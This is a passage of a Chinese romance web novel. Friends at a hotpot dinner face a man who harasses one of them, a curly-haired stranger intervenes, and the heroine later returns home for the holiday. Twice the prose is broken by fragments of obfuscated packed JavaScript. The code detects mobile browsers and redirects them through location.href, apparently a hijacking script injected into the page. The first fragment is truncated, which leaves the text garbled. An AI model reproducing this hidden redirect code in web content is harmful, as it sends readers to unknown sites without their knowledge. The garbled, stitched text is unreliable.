梁妈妈问:“约会呢?约会也没有?也没见他给你点个早饭啊。” 梁亦芝沉默了会儿,没有第一时间回答。 梁妈妈知道自己女儿大概是在恋爱,不过她有分寸,向来不会过问恋爱中的细枝末节,也不清楚对方是个什么样的男生。 年轻人嘛,开心就好了,只要保护好自己,多接触一些人未尝不是件好事。 听电话那端支支吾吾不出声,梁妈妈料到了什么,语气爽快:“行。不会给我女儿叫早饭的男人,估计也不怎么样。亦芝,别为这种人难过太久,不值得啊。” 梁亦芝噗哧一声乐了:“谁说我难过了?我高兴着呢,现在我可以到处找乐子了。” 她眨眨眼,眼底湿润一闪而过。 妈妈说的对,别为这种人伤心,明明身边有这么多把你捧在手心里的人,干嘛要因为一个男人整天自怨自艾呢。 心结瞬间消解了不少。 梁妈妈听她语气,嗓音也柔下来:“不开心的时候,多跟朋友出去走走就好,再不济也可以随时回家,爸爸妈妈都在家等你,知道吗?” “知道的妈,我明白。” “没事的时候就找寅言、嫚嫚他们,陪你说说话。最近都有联系吗?” 回想起前两天的那次找乐子之行,梁亦芝只含糊其辞:“有的,前两天我们刚聚了聚。” “那我就放心了。下次你回来,叫上他们一起吧。特别是寅言,让他到咱们家来吃饭,我也好久没见他了。” “知道了妈。” 一口一个寅言,叫的比自己女儿还亲,梁亦芝撇撇嘴,颇有微词。 和妈妈又絮叨几句挂了电话,梁亦芝一低头,屋外的阳光不知何时已经漫到了她搭在沙发的小腿上。她动动脚,身体和心里都暖融融的。 下午,梁亦芝在乐团练习结束之后,何嫚开着自己刚修好的车来接她,一起去吃饭。 何嫚和因为事故结缘的小女孩约在今晚见面。何嫚不想气氛太尴尬,说自己会带上朋友,让对方也可以带朋友一起来玩。 等红灯的间隙,何嫚手机响了一声,她看了眼:“璐璐他们也太快了,居然已经到了。怎么那么早?” 璐璐是那个女生的名字。 “这么快?”梁亦芝问,“顾寅言和蒋徊他们到哪了?” “不知道。”何嫚语气恹恹,“别和我提顾寅言,我没叫他。” “为什么?” 梁亦芝有些意外,以往他们四人之间的活动,不会有人落单。今天何嫚居然反常地没有喊顾寅言来,肯定是发生什么事了。 何嫚说:“我之前接到了一个品牌手表的推广,人家需要男伴出镜,我喊顾寅言来帮我搭一下子,他死都不肯。” 何嫚忿忿不平地控诉:“只需要露个手腕、肩膀和胳膊就行,又不用他露脸,防我跟防贼似的,太没有义气了!” 梁亦芝试图帮顾寅言说两句好话:“这个……你也知道他的身份嘛,不想抛头露面也正常,万一被人家扒出来了。” “能扒出来什么?通过他的掌纹判断出他是承晖的太子爷吗?”何嫚越说越气,冷声哼哼,“他就是不肯帮我忙,这一笔帐我已经记上了!” “别气别气。”梁亦芝拿手作势给她扇风降火,“那你怎么不找蒋徊呢?” “蒋徊那细狗,我看还是算了吧。”何嫚语带唾弃。“我朋友圈那么多模特网红,要不是顾寅言的气质好,我怎么会找他?只是摆两个姿势而已,我还想当然地觉得他一定会帮我。” 前方又遇上路口的红灯,何嫚转过身,斩钉截铁道:“我警告你,不许叫他来啊。不然你们俩我都不搭理了。” 梁亦芝哄她:“好好好,我保证不叫。” 到达火锅店,他们在门口等到了蒋徊,才一块上去。 蒋徊见她们就问:“顾寅言呢?我给他发消息了,都没回我。” 梁亦芝冲他使了个眼色,何嫚在一旁开腔:“天天把顾寅言挂在嘴边,我问你今天这是谁的局?” 蒋徊仍旧是一脸懵。 何嫚:“今天有他没我,有我没他。走,吃饭去!” 15. 小卷毛 何嫚走在前,梁亦芝悄悄放慢脚步,给蒋徊解释了一番。 进了火锅店,璐璐早就在位置上等着了。等走近,梁亦芝才看清她的脸,对方长得确实很可爱,笑起来时的小酒窝很甜。 不过令她意外的是,璐璐带来的朋友是个男生。 “不好意思,久等了啊。”何嫚礼貌地先问,“旁边这位是……男朋友?” “不是不是,”璐璐站起身,向他们介绍,“这是我哥,张骐。” 张骐跟着起身,冲他们一笑:“你们好。” 原来是哥哥啊。 对方站起来,梁亦芝才惊觉,张骐的块头极大,感觉有接近一米九,体格壮硕,一只胳膊感觉能吊起他们三个人。 跟娇小玲珑的璐璐截然相反。 所有人入座,璐璐先开口:“其实,车子追尾的那天,我哥也在车上,不过当时天比较黑,咱们都比较慌乱了,你可能没注意到他。” “啊——”何嫚一副恍然大悟的模样,“我知道了,那天旁边那个高个子就是他吧。” 她话音刚落,一边的蒋徊凑近梁亦芝,保持嘴形不变,用腹语和她低声道:“我赌五毛她绝对不记得有这个人——” 梁亦芝装模作样地牵牵嘴角。 菜上齐,锅热起来,升起袅袅的白色烟雾。大家举着筷子,你一言我一语,都是年轻人,共同话题自然也多,聊得很是热闹。 何嫚也更加觉得,今天来吃饭,没带顾寅言而带了蒋徊是个绝对正确的选择。 如果带了顾寅言,他一语不发地坐在那,跟如来佛似的,只怕会把这顿饭吃成一个商务局。 而蒋徊热切、话又多,氛围很快就被炒起来了。 蒋徊大概是想帮何嫚,抛了个引子出来:“璐璐,下次周末大家一起出来玩呗。你们平时都喜欢玩什么?” 璐璐说:“我平时喜欢攀岩、打打剧本杀什么的。” “攀岩啊。”蒋徊耳朵动了动,“何嫚也很喜欢运动,不过她喜欢滑雪。” “真的吗?”璐璐双眼一亮,跟身边男人对视一眼,“还真巧,我哥也很喜欢滑雪,不过我不太会。” 梁亦芝笑着在一旁敲边鼓:“嫚嫚滑雪很厉害的,你们感兴趣的话,下次可以一起去。” 张骐似乎也被这个话题勾起了兴趣,对何嫚道:“你玩的单板还是双板?” 何嫚:“我喜欢玩双板。” “这样啊,我一般都是玩单板。”张骐双臂交叠在桌沿上,肌肉挤压在一起,在布料之下蓬勃溢出。 他眼神凝视着何嫚:“下次有机会一起去的话,我可以教你。” “那就不必了。”何嫚脸颊抽动,几乎是一秒回绝他,“我倒不是不会,就喜欢玩双板,用不着。” 张骐说:“没关系。除了滑雪,别的运动只要不是太小众的,我也都可以奉陪。” “我哥是健身教练。”璐璐补充,“所以他在运动方面涉猎还蛮广的,一般的项目他都玩得很好。” 蒋徊捧场:“这么厉害?那下次我得请你做我的私教,我早就想好好健身了,一身腱子肉多帅气啊!” “行啊。”张骐脸上露出笑容,自得地向后一靠,左手搭在璐璐的椅背上,“男人么,确实是要强壮一点,才好保护自己的女人。” 梁亦芝眉头轻蹙。 出于礼貌,她没表达自己的真实想法。 可何嫚就忍不住了,她嗤一声:“得了吧,别搞刻板印象,咱们女生也可以保护自己,没你们想的那么娇弱。” 张骐听完,蓦地勾起嘴角笑了:“何小姐,其实你不用逞能。男人都是有风度的,也不会因为外表身材就觉得你们很懦弱。相反,我觉得像何小姐这样就刚刚好。” 何嫚:“……你说什么?什么刚刚好?” 张骐:“何小姐平时肯定有在锻炼吧,我一眼就看出来了。像你现在的身材,非常匀称、很有美感。” 他甚至微仰起脸,打量何嫚被桌面遮挡下的身材:“该有的都有,多少女生求之不得呢。你要是锻炼的太过,那就不可爱了。” “可、可爱?” 何嫚紧捏着手里的玻璃杯,被气的简直不知道该说什么好。她还是头一次被别人用可爱来形容。 梁亦芝也被这番话恶心得不行。 肆意评判别人的身材,还自己臆想女生们会因为身材雌竞,这到底是从哪里流放过来的奇葩? 梁亦芝低头,看到何嫚强压住把玻璃杯砸到对方头上的冲动,把手伸过来,放到她的腿上捏了又捏。 她拍拍她,趁没人注意时对何嫚低语:“我吃不下去了,咱们早点走吧。” 何嫚点头。 因为张骐刚刚的发言,场面暂时冷了一瞬。 璐璐忽然说想去下卫生间,又对张骐说,让他帮自己去车里拿下外套,她觉得有点冷。 两人先后出了门。 终于有个机会透透气,何嫚无语扶额:“今天让她带朋友来真是个最错误的决定。怎么带了个油腻男来?我要被恶心坏了。” 蒋徊贱嗖地模仿刚刚张骐的语调,嗓音放沉:“想学单板吗,嫚嫚?哥哥教你啊?” 何嫚抓起桌上用过的餐巾纸,隔着梁亦芝,朝蒋徊丢过去:“单板?我看你马上就要被我单杀!去死吧!” 蒋徊一个个挡回去,中间的梁亦芝不堪其扰。 火锅的辣锅辣度有些太重了,梁亦芝一时觉得闹肚子,她放下筷子、举起双手:“你俩再打会儿吧,我得去趟厕所。” 梁亦芝捂着肚子出了门,来到女厕。 经过厕所门口的走廊时,她听见一旁的消防通道,有人窃窃私语。 梁亦芝脚步一顿。 这声音有些耳熟,见一旁没什么人,她把耳朵悄悄贴到了门上。 “哥,你说话之前能不能先过一下大脑。你那样子,人家怎么会对你感兴趣?” “我哪句话说错了?”男人的嗓音不以为然,“不是你让我直进一点吗?我说带她一起做运动,还夸她身材好了。” “你要夸也要看场合啊!”女生恼怒,“好好吃着饭,突然夸人家身材好,人家当然会觉得你莫名其妙了!” “不然你让我说什么?” “所以我替你跟她聊那么多不是白聊了吗?你要把我告诉过你的信息利用起来,找共同话题。别只知道看外表,是怕别人不知道你是一个头脑发达、四肢简单的人吗?” 短短几句话,梁亦芝已经听出来了,里面的人正是璐璐和张骐。 听他们这么说,璐璐今天带他来,是想把张骐介绍给何嫚? 再一细想,看来这次碰面,对何嫚感兴趣的并不是璐璐,而是张骐。璐璐接近何嫚、和她聊天,只是为了多套一点她的信息,好给自己的哥哥牵线搭桥。 梁亦芝震惊的同时,门内两人的声音又响起来。 璐璐:“到底行不行?还是说你只是想玩玩?” “当然不是了。”张骐听起来很是气恼,“我真的很想拿下她。” “那你就上,实在不行,等会儿我再攒一个局,结束了咱们去ktv,总能制造出机会的……” 到这里,梁亦芝已经听不下去了,神经太过紧绷,胃部的痉挛跟着加剧。 她面色苍白,半弯下腰,倚在门框上想缓一缓。 忽然,走廊里响起脚步声。 一声两声,有人正朝这个方向过来。 梁亦芝回头,看见是个骨相周正的男生。 他烫了一头的卷发,五官轮廓很是精致,翘起的发尖是计算好的弧度。 通道宽敞,此刻只剩下她和这卷毛两个人,对面探究打量的视线投过来,梁亦芝只得硬着头皮承受。 她强忍着腹部的异样,站直身体,左右四顾,装作是在这等人。 对面的目光如有实质,分毫不差地停在她的脸上。 他走近时,梁亦芝的眼眸不慎与之对上。 那是一双漂亮、狭长、极具攻击性的眼睛。 近距离观察那张脸,梁亦芝才发现,他的嘴唇很红,气血饱满。 男人的嘴角慢慢牵起一个弧度,露出一个温柔的笑容,微微颔首,像是同她打了个招呼。 一定是错觉,他干嘛要对她打招呼? 梁亦芝敷衍地回以一笑,极其生涩。 经过后,男人转身进了洗手间。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15151223|164655||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 梁亦芝再次凑到门缝前,还想挖掘些信息,可惜里面二人已经商讨完了,正准备出来。 情急之下,梁亦芝也进了女厕。 她躲进隔间等了会儿,没再有其他的动静。 腹部疼痛渐消,梁亦芝梳理了下刚刚听到的内容,又打心眼里愤怒。 这两个人的行为虽说合情合理,也并未违反任何公序良俗,可梁亦芝觉得,这是另外一种欺瞒。 况且从他们话语的字眼里,何嫚只是被当成了目标、猎物,他们没有半分尊重她的意思。 梁亦芝在厕所呆了一两分钟,决定赶紧回去,把这件事告诉何嫚。 她刚打开门走出,就听到外面传来何嫚的声音。 “有什么话好好说就行,你不要动手动脚的。” “你不要怕我……” “我真的不怕你。但你先松开,不然我打人了啊——” 何嫚看梁亦芝上了半天厕所都没回来,想去找她,半路上就遇到了张骐。 张骐一直挡在她跟前,跟她说这个说那个,何嫚不想搭理,径直想走,哪想到张骐忽然抓住了她的手,说想跟她聊一聊。 何嫚态度很差,张骐哪受得了被这么对待,脾气上来,把何嫚抓得更紧: “你这什么态度?我就想好好跟你说两句话,你至于这样吗?” “你说话要用手说?”何嫚瞪着他,双目都流露出厌恶。 再想到刚刚饭桌上他说的那些令人作呕的话,她彻底没了好脸色,“滚开!离我远一点!” 梁亦芝出来就看到这一幕,赶紧上前:“怎么了?别动手。” “可以不动手,但是先让你朋友把态度放尊重一点。”张骐朝梁亦芝吼道。 他的力气太大,两个人加起来都抵不过他。何嫚的手腕纤细,被他那么一握,一整圈都泛着红。 张骐:“何小姐,你肯定也看出来了,我是对你有意思,所以想单独跟你说两句话而已。可你那是什么眼神?” 何嫚反问:“你?对我有意思?” 张骐:“当然,不然我妹为什么找你聊那么久?我真的没别的坏心思,那天追尾咱们第一次见面,我就觉得你长得很漂亮。我特别喜欢你,我妹也喜欢你。你——” 何嫚的怒气升到头顶,忽然明白过来了什么:“啊——原来是你喜欢我啊。” 她冷笑两声:“行,那我现在告诉你,你们俩我都我不喜欢。而且是非常讨厌,恶心!饭也不用吃了,大家好聚好散吧。” 何嫚使出吃奶的劲,终于挣脱。 张骐被她的话一下被激怒了,心说这女孩敬酒不吃吃罚酒,跟她说理她不听,必须给她点颜色看看: “恶心是吧?来!”张骐抬手,在何嫚薄薄的肩膀上戳了一下,力道大的何嫚踉跄两步,“怎么样?还恶心吗,再表演一下?” 他唾沫横飞,举着手又想往何嫚肩膀上戳。 梁亦芝下意识挡到何嫚身前,被张骐推一把,直接撞上了一边冰冷坚硬的瓷砖墙上,隔着皮肉,骨头生疼。 “亦芝——” “你们就是欠!”张骐最看不惯眼前这两个女人,自恃清高、惺惺作态。 张骐抻臂,还想把何嫚捞过来。然而手刚抬起,就被一股力量牵制住了。 即将落下的手被挡住。 梁亦芝抬头。 竟然是刚刚进了洗手间的那个卷毛。 没想到他看起来骨骼薄瘦,挽起袖子的一截小臂却极富力量感,肌肉绷起,青筋暴突。 他扣着张骐的手,对方动弹不得。 卷毛礼貌地看向梁亦芝,问:“小姐,需要帮忙么?” 他垂着眼睫,显得眼尾像带着勾子,上扬更甚。瞥向梁亦芝的那一眼特别特别轻,然而目的却很明确。 张骐见有人搅局,破口大骂:“傻x!滚远一点。” 他扬手想挣脱桎梏。然而刚一动,卷毛也发了力,张骐吃痛地叫一声。 卷毛像听不见似的,直勾勾地看向一边仓皇失措的梁亦芝,漆黑的眸光里只留下那清晰的一点。 他挑挑眉,像是在等待她的指示: “我听你的。” 16. 贺新图 对方明显是来帮自己撑腰。 梁亦芝心领神会,立刻指控:“他要骚扰我们!” “我呸!” 张骐张口就要抡胳膊,好像不动手就说不了话似的:“是她们先惹我的!两个不要脸的东西!” 卷毛像是被他的声音吵到了,抬手不耐烦地堵了下耳朵。他制住张骐,一面拨打电话:“别吵。真相是什么样,把警察叫来就知道了。” 卷毛拿起手机拨打电话。 趁卷毛注意力转移,张骐终于寻到了机会,他抽出手掌甩开对方,抓着卷毛的领子把人扔到墙上。 卷毛明显没料到他会突然来这么一下。 他背撞上墙,一下吃痛,眉头忍不住皱起,表情痛苦。 梁亦芝被吓的心惊。 只是这样怎么够解气,张骐还想再补两拳,好在这时,蒋徊从后面冲了出来,一脚把人踢倒在地。 蒋徊:“耍流氓呢?还要不要脸了?” 璐璐也跟了出来,被蒋徊吓了一跳,跑到张骐边上查看情况。 她朝他们哭喊:“你们怎么打人啊!” “我就打他了!”蒋徊撇开外套,双手插着腰,“刚刚在饭桌上就想打,一时没忍住。怎么?言语骚扰完,还想霸王硬上弓?” “干你屁事!”张骐一个鲤鱼打挺,翻身站起来,跟蒋徊扭打在一起。 火锅店的工作人员终于冲上来拉架,许多八卦的客人也忍不住上前围观,场面一度混乱。 …… 他们被带到警察局。 跟警察交代完基本情况,梁亦芝和卷毛先被赶到一边等待,其他人还在接受问询。 梁亦芝终于得空和他道谢。 她坐到他身边:“真的很不好意思,给你添麻烦了!” “不麻烦。”卷毛笑笑,耸了耸肩,“在那种情况下出手是人之常情。不是我,其他人看到也会过来帮忙的。” 不管怎么说,梁亦芝还是发自内心感谢他拔刀相助,毕竟在碰上这种事情的时候,人的第一想法都是不要引火上身。她很感激他那么做。 “真的很谢谢你。”梁亦芝说,“还没问你叫什么名字,我该怎么称呼?” 卷毛靠在椅背上,懒散地回答她: “我叫贺新图。” 他又问:“你呢?” “梁亦芝。” 贺新图点点头,嘴唇嗫嚅,像是在反复默念她的名字。 或许是因为走廊上的那一眼,贺新图觉得这女生挺有眼缘。所以看到他们遇见麻烦,没怎么多想便插手了进去。 贺新图看向她:“所以,之前在走廊里,你趴在大门上,是在偷听吗?” 梁亦芝面露窘迫:“那是因为我要去洗手间的时候,正好听见他们在里面谈话,我觉得不太对劲,就上去听了听。” “他们在聊你的朋友?” “对。他们在说,要拿下她,之类的话。” 梁亦芝又说:“真的很抱歉把你牵扯进来,我们也没想到他会突然动手,这件事本来可以好好解决的。” 贺新图笑了笑,安抚她:“我倒不这么认为,有些人,你跟他讲道理就是白费功夫,他得吃了亏,以后才不会去祸害别人。” 梁亦芝点点头。 这会儿光线好,又离得近,她这才发现他其实是单眼皮,鼻梁很高,卷起的头发盖住了耳廓的上半部分,耳蜗和耳骨处都打了耳钉,闪光若隐若现。 她关心起来:“我看你刚刚撞到了墙上,有没有哪里受伤吗?要不要去医院检查一下?” 贺新图答:“小事,没什么大碍。” 他侧头左右拉伸了下:“而且我也没帮上什么。我其实不太会打架,有看出来吗?” 梁亦芝一愣。 回想起来,整个过程中他确实没怎么动手,被张骐那一甩后,基本都是蒋徊和张骐两人在纠缠。 贺新图坦言:“我没怎么跟人打过架,不过我会装架势。” 他的打扮和相貌,加上特殊的气质,看起来就像个搞艺术的人,不太会随随便便跟人动手,也没什么实战经验。 贺新图转了转自己的手腕,仿佛在给她展示:“而且我力气还挺大的。” 他把手朝梁亦芝伸过去。 “嗯?” 贺新图问:“掰手腕,要不要试试看?” 他的小臂悬在半空,五指虚拢,停在她面前。 梁亦芝看着那清瘦的小臂,想起刚刚他在走廊上,也是同样的动作,替她们截住了即将到来的危险。 鬼使神差地,她举起自己的手,握了上去。 十指碰在一起,但掌心并没有完全贴合。 贺新图轻捏了一下她的手,唇角微扬。 梁亦芝注意到,他的嘴唇很红润,显得牙齿更加整齐又洁白。 他说:“你们女生的手果然都这么软。” 梁亦芝一时尴尬,脸颊漫上了点红。她微微抬起了点自己的指尖,不想上面那层厚重的茧磨到他。 贺新图:“来吧。那我数三二一,就开始。” “好。”梁亦芝点头。在他三声发令后,开始使劲。 她发誓她真的没有矫情,好歹平时也经常拉弓,她的力量绝对不算小的。 可对面的贺新图甚至没有尝试掰倒她,只是笑脸盈盈地看着。 两股力量相斥,凝聚在手腕和掌心,贺新图的手端在原处纹丝不动,静静等待她扭转局面。 梁亦芝抿着唇,连腮帮子都在使劲。 贺新图看见她因为用力,唇边浅浅凹陷下两道。 他笑意更深,主动泄了劲。 贺新图小臂放倒,梁亦芝的手压上去。 她就这么扳赢了他。 梁亦芝表情愣怔,看着贺新图,掌根互相擦着,和对方的贴合在一起。 顾寅言进来的时候就看到这样一幕。 一个男人背对着他,和梁亦芝坐在一块。 他们的手牵在一起,而梁亦芝的双眼仿佛被摄了魂魄一般,驻留在那人的脸上。 他大半夜接到电话,自己的三个好朋友涉嫌寻衅滋事,闹到警察局。一通电话让睡梦中的顾寅言霎时清醒。 他火急火燎赶到这里,可事情好像并没有像他想象的那么复杂。 至少某人似乎还有跟人搞暧昧的心情。 该说他会挑时间吗? 他就像一个不速之客,总是晚一分钟出现,不合时宜地破坏了别人的好事。 顾寅言面不改色地站在门外。 很快,梁亦芝也看见了他。 她一下甩开贺新图的手,站起身,对门口沉默的人影道:“你来了?” 顾寅言一瞬不瞬地盯着她,眸色讳莫如深。 怎么回事? 她怎么生出种偷情被现场抓包的感觉…… 毕竟为什么跟一个陌生男人在警察局扳手腕,这事解释起来好像有点复杂。 贺新图闻声也扭头,侧目扫了来人一眼。 顾寅言走近了才幽幽开口,对梁亦芝道:“心情不错?” “啊?” 他语意似是在调侃,可从他阴鸷的面孔上,梁亦芝没读出一丝玩笑的意味。她头脑混沌,手合着拳,轻轻搓着。 她想,应该先给顾寅言介绍一下贺新图,并且告诉他,是他刚刚在火锅店帮了他们。 梁亦芝刚抬手:“这位是——” “何嫚呢?”顾寅言打断了她。 “……在那边,警察还在问话。” 顾寅言视线上下扫描:“受伤了么?” “没有,我们没动手,不过蒋徊挨了好几拳。还有刚刚……” 时至凌晨,温度骤降,警局里冷冷清清的,空气有些凉。 大概是看梁亦芝穿着单薄,她话还没说完,顾寅言脱了身上的黑色大衣,罩在她肩膀上。 动作实在算不上温柔。 顾寅言似乎对她方才的行为和身边出现的陌生男人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15159247|164655||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没什么兴趣,把衣服丢给她后,一语不发地走开。 梁亦芝咽下未说出口的话,赶紧跟上。 他们走到何嫚几人身后,警察问:“是你们的朋友?” 何嫚心情正差,转头看见是顾寅言。她还在记他的仇,依旧没好气,嘟囔了句:“你怎么来了?跟你没关系。” 顾寅言:“没关系还打给我?要我来看你们出丑?” 一旁的璐璐看他们搬来救兵,嘲讽道:“还不是你们蛮不讲理,否则至于闹成这样吗?我哥就是想跟你说两句话,还以为自己多金贵,碰都碰不得?” 尖锐的女声叫嚷着,何嫚刚要站起身跟她对峙,被顾寅言拦住。 顾寅言这会儿脸色极差,或许是带着半夜的起床气,又有股不知从何而来蕴着的郁气。 他拧过头,对璐璐道:“我在问我朋友,没在问你。” 璐璐被顾寅言那一声吓到了,心里发怵,嘴上“嘁”一声,偏过脑袋。 梁亦芝眼看情形不对,赶忙帮着说软话:“真的是意外,他们先动手,拉着何嫚不放,蒋徊是看到这个冲上来,才会动手的。” 这时,里面又走出个警察,出来跟顾寅言打了声招呼。两人谈着话,进了后面其中一个房间。 大概过了十分钟,顾寅言出来了,警察叔叔也说调取了火锅店监控,确认他们做完笔录,可以先行离开。 离开前,警察叔叔又语重心长地轮番教育了他们一遍,遇到这种骚扰第一时间找工作人员帮忙报警,不要自己盲目冲动。 三人连连哈腰,表示自己明白了,这才走出去。 梁亦芝重新看向原先的座位。 之前坐在那的贺新图不知什么时候不见了。 她又环视一圈,依旧没看到那头引人注目的卷发。 贺新图没打一声招呼就离开了,这个判断让她心里顿时有些怅然若失。 本来还想好好跟他道谢的。 “梁亦芝。”顾寅言回头,在前方停下等她。 梁亦芝回神:“来了。” 等她走到自己身边,顾寅言才往刚刚她目光弥留的方向看了一眼。 夜幕低垂,往常这个时间,他们聚在一块,通常都是从娱乐场所中出来,还是头一回从警局里走出。 空气湿冷,风也喧嚣,四人一路无言上了车。 何嫚一路低着头,直到到了车上,才对其他人说: “对不起,今天是我给你们添麻烦了,我不该组这个局。” 何嫚心里很是内疚。 她本可以不叫他们来,如果不带上双方各自的朋友,或许就不会发生这些事。 梁亦芝搂着何嫚坐在后座,搓搓她肩膀安慰:“没事的嫚嫚。就算你今天不叫我们,这件事迟早都会发生,提前解决了也未必不是一件好事,至少没酿成什么严重的后果。” 蒋徊已经把刚才警察嘱咐的话忘到了天边:“就这个畜生,我见一次打一次。重来一次我还打!” 何嫚强压住心底翻涌的情绪,朝前排道:“蒋徊,你要不去医院看一下吧……” 顾寅言看了眼,发动车子:“就这点伤口,天没亮就愈合了。” “谁说要愈合了?”蒋徊指指自己的脸,“没看见哥们脸上这么大一块淤青?” 何嫚:“蒋徊,对不起,这次真的赖我。接下来一个月,我随你使唤。” “真的?”蒋徊得了便宜还卖乖,忽然捂着肚子故作呻吟,“哎哟——突然感觉这肚子也疼、头也疼,肯定摔出内伤了。得要一大笔精神损失费了……” “你——!” “有病就去医院。”顾寅言讽刺,“现在下车爬去江医生那里卖惨,比你之前几次都管用。” “好好好……你们几个都是抖s吧,往别人伤口上撒盐是你们的癖好吧!” 梁亦芝和何嫚对视一眼,双双笑出了声。 汽车驶出,飞驰在空无一人的街道上。 夜色正好,年轻真好。 17. 苦茶 国庆假期将至。 金秋时节,天气好的日子里,白天阳光依然炽热,夜里却总是凉风席卷,冻得人起鸡皮疙瘩。 继上一次的交友乌龙后,何嫚扬言宣布自己将闭关几天,除了工作需要外,拒绝一切成分过杂的社交场合。 蒋徊嘲笑她,自己则跟着几个兄弟,结伴去了大西北旅行。 梁亦芝和顾寅言都没什么特殊安排,他们约定好时间,提前一天错开车流高峰,开车回家。 这次回家约莫也就三四天,梁亦芝之后还有演出,在家呆不了太久。但她还是很想回去一趟,她很久没见到爸爸妈妈了。 回程的一路,梁亦芝坐在顾寅言的车上,望着窗外飞驰而过流动的景色,轻轻哼着歌,心情很是美丽。 抵达家门口时,车刚停稳,梁亦芝就看见母亲和阿姨已经站在了家门口。 “总算回来了。”梁妈妈迎上前,对刚下车的女儿上下审视、一顿检查,“怎么瘦了不少?” 梁亦芝应和着,一面诉苦:“就是啊,拉琴拉得我都日渐消瘦了。所以今天做了什么好吃的?闻着好香。” “就知道吃。”梁妈妈敲她那狗鼻子一下,又对身后的顾寅言笑着说,“寅言,开车过来一路累坏了吧。” 顾寅言温声答:“不会阿姨,没开多久。” “那就好。”梁妈妈又问,“你爸妈回来了吗?” “还没,他们要过两天。” 梁妈妈笑说:“那正好,阿姨做了很多菜,今天你就留在这吃晚饭啊。” “好。” 行李交由做事的人搬到屋里。顾寅言先把车停回自家,过了好一会儿才回到梁家。 保姆给他开了门,穿过玄关,食物的香气愈发诱人。 客厅里没人,顾寅言一看,大家都拥在厨房里。 他问坐在岛台边的梁亦芝:“梁老师今天不在?” 梁亦芝回答他:“我爸他今天去给市里的钢琴大赛作评委了,得晚点才到家。” 梁妈妈听见声响,转身再次招呼他:“寅言,今天好吃的多着,给你们做了花胶鸡,还有寅言你爱吃的清蒸鲈鱼。” 顾寅言礼貌答:“麻烦阿姨。今晚打扰了。” “客气什么。”梁妈妈嗔怪,“一家人,说什么打扰不打扰的。” 梁亦芝刚回到家,衣服也没换,洗净了手就主动来厨房给梁妈妈打下手。听见母亲对顾寅言如此殷切,她甚是不满,甩了甩手上的水珠,说:“妈,你这么喜欢顾寅言,干脆给他在家留间房算了。” “我倒是愿意。”梁妈妈故意顺她的话答,“寅言来我这,你去顾家那。就是人家顾家可不一定愿意了。” “什么意思啊妈?”梁亦芝满腹幽怨。 顾家不要,她还不乐意去呢。 那令人窒息的氛围……她可待不下去。 母亲从他们认识起,就对顾寅言多有偏袒。 或许这就是属于“别人家的孩子”的特权。顾寅言从气质外表,就是很招家长一辈喜欢的那一挂,从小成绩优异,又人情练达,因此父母看他总是带着滤镜的。 顾寅言脱了大衣,走到梁亦芝身边。他抬手,解下银色的腕表,挽起衬衫的袖子,问:“有没有我能帮忙的?” 梁亦芝挪开自己面前刚择好的菜盆,眼神警惕,意思是:别抢我的功劳。 顾寅言了然。 然后干脆直接去梁妈妈那边帮忙备菜了。 厨房里忙得热火朝天,梁亦芝厨艺不精,只帮忙做些洗菜择菜的活;梁妈妈和保姆张妈分别负责烹饪,顾寅言则在料理台前处理生肉。 她坐在后面的中岛台边,看着面前井然有序的画面,心里生出些不一样的滋味。 她很喜欢这种家人朋友团聚在一起的氛围。 大概是有些时间没动刀了,顾寅言在切排骨的时候,不小心把拇指上划了一道。 他并未出声,只是微微皱了皱眉,不动声色地抹去了拇指上的血珠。 还是梁亦芝看到了。 她放下手里的菜,来到他手边说:“给我看看。” 她拉过顾寅言的手。他的手骨节分明,甲床形状也生得好,修剪的干净得体。 手指尖侧边的地方,被划开了口子,皮肉微微翻起来,又渗出了几滴血珠。 梁亦芝嘲讽他:“还要表现,你交给张妈弄多好。” “不要紧。” 顾寅言想抽回手,可梁亦芝不放,说:“你别弄了,我去给你拿个创可贴。” 她说完就从厨房里出来,脚步加快,准备上楼回房间拿东西。 这时门铃响了。 玄关大门处离厨房很近,梁亦芝索性顺手开了门,见到门外的人,喊了声“回来了爸?”,连面都没露全,就又赶去了楼上。 梁爸爸见到女儿,还没嘘寒问暖两句就跑走了,心里腹诽着,都长这么大了,跳脱的性子还是一点没变。 梁爸爸进了屋,顾寅言也来到客厅,喊了声:“梁老师。” 梁亦芝的家庭是典型的音乐世家。父亲梁佑德是圈内小有名望的钢琴家,母亲肖钰是音乐附中的老教师。 顾寅言高中时,就曾是梁佑德的学生,跟着他学习钢琴。 梁爸爸看到两人,笑得和蔼:“寅言啊,跟亦芝一块回来的?” “对。” 梁亦芝取了创可贴,又从楼上小跑下来,说:“刚回到家,就把顾大少爷给伤到了。” 梁爸爸问:“怎么回事?” “一点小伤,没什么大碍。” 顾寅言抬起手,梁亦芝把创可贴撕开,将中间部分对准创面,小心翼翼地贴上去。 顾寅言这才看到,创可贴不是普通肉色的那种,上面有许多花里胡哨的图案。 顾寅言:“……我感觉好像不用贴。” “搞定。”梁亦芝置若罔闻,把创可贴贴好,用大拇指在上面轻抚了两下,把遗留的垃圾扔进纸篓。 梁爸爸坐在一旁的沙发里,看着面前并肩坐着的二人,相处如此和谐,露出欣慰之色: “你们俩现在长大了,倒是比以前懂事、和睦多了。” 梁亦芝不太喜欢听父亲叨叨以前的事,说起来没完没了的。 梁亦芝:“爸,都是大人了,就别提小屁孩时候的事情了。” 